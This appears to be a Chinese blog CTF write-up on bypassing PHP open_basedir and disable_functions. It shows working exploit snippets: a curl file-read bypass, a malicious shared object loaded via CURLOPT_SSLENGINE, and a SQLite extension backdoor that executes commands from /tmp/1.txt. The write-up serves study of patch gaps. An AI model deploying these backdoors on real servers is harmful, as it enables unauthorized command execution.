Skip to content
Kurisu
Go back

最新版 PHP 绕过 open_basedir 与 disable_functions:从 curl 加载 so 到 SQLite 扩展

WebShell 免杀篇讲过”拿到 webshell 不等于拿到 shell”——disable_functionssystem/exec 全禁了怎么办。这篇是 XCTF Final 一道 PHP 真题的复盘(环境 PHP 8.5.0RC3),两条利用链都很新,而且把 disable_functions 的原理边界讲透了。

0x01 原理先修:disable_functions 到底防什么

一句话:它只禁止 PHP 语言层面的内建函数调用,管不到进程空间里 C 层面的行为。所以绕过的通用思路从来不是”恢复被禁的函数”,而是绕开 PHP 解释器,直接在 C/libc 层执行 system()——外部扩展加载(ld 任意 so)就是最典型的通道。

0x02 非预期解:curl 的两次”没修干净”

第一次绕过(PHP 8.3 时代):官方只 ban 了 curl 的 file:// 协议,但 CURLOPT_PROTOCOLS_STR 设为 "all" 能把所有协议重新打开——于是绕过 open_basedir 读任意文件:

$ch = curl_init("file:///etc/passwd");
curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");
curl_exec($ch);

官方的修复方式是把 all 也上 ban 位——修法只堵了”协议”这一个面。但 curl 加载动态链接库本来就能导致 RCE(HackerOne #3293801):CURLOPT_SSLENGINE 指向的 so 会被 dlopen 加载,so 的 __attribute__((constructor)) 函数在加载瞬间执行:

#include <stdlib.h>
__attribute__((constructor))
static void rce_init(void){ system("whoami"); }
// g++ -fPIC -shared -o evil.so 1.cpp

$ch = curl_init();
curl_setopt($ch, CURLOPT_SSLENGINE, "/tmp/evil.so");
$data = curl_exec($ch);   // 加载 so → constructor 执行 → RCE

这条链在 8.5 官方镜像上其实已打不通,但比赛环境能打通——版本与补丁的细节差就是 CTF 的题眼

0x03 预期解:Pdo\Sqlite::loadExtension

预期解走 SQLite 扩展加载:

利用分两步:

① 写一个”SQLite 扩展后门”。so 的入口函数必须叫 sqlite3_<名字>_init,加载时被调用。这里构造的是一条”读文件执行”后门(/tmp/1.txt 存在就读第一行 system 执行):

#include <sqlite3ext.h>
SQLITE_EXTENSION_INIT1;

int sqlite3_exploit_init(sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi) {
    SQLITE_EXTENSION_INIT2(pApi);
    FILE *f = fopen("/tmp/1.txt", "r");
    char buf[512] = {0};
    if (f && fgets(buf, sizeof(buf), f)) {
        buf[strcspn(buf, "\r\n")] = 0;
        if (strlen(buf) > 0) system(buf);   // libc 层调用,disable_functions 无感
    }
    return SQLITE_OK;
}
// gcc -fPIC -shared -o /tmp/exploit.so backdoor.c

② 触发加载:把 so 路径传给 Pdo\Sqlite::loadExtension('/tmp/exploit.so') → C 层 system() 执行 → 命令结果落盘回读。

0x04 复盘三点

  1. disable_functions 的边界 = 解释器边界:所有”加载 so”类绕过(curl SSLENGINE、SQLite 扩展、ImageMagick/FFmpeg 外部库)本质相同——让 C 层替你调 system;
  2. 单点修复必然留缝:curl 先 ban file 协议、再 ban “all”,直到 SSLENGINE 被点名才真正堵住——审计 PHP 安全公告时要看”修复了哪个参数”,更要问”同类面还有几个”;
  3. 新特性 = 新攻击面Pdo\Sqlite::loadExtension 是 8.4 新增 API,文档滞后于攻击研究——盯 changelog 比盯旧洞清单更有产出。

相关旧文


Share this post:

Previous Post
PHP 反序列化进阶:Session 引擎不一致、phar 与 ThinkPHP 链的实战拼装
Next Post
PHP WebShell 免杀:从查杀引擎原理到绕过手法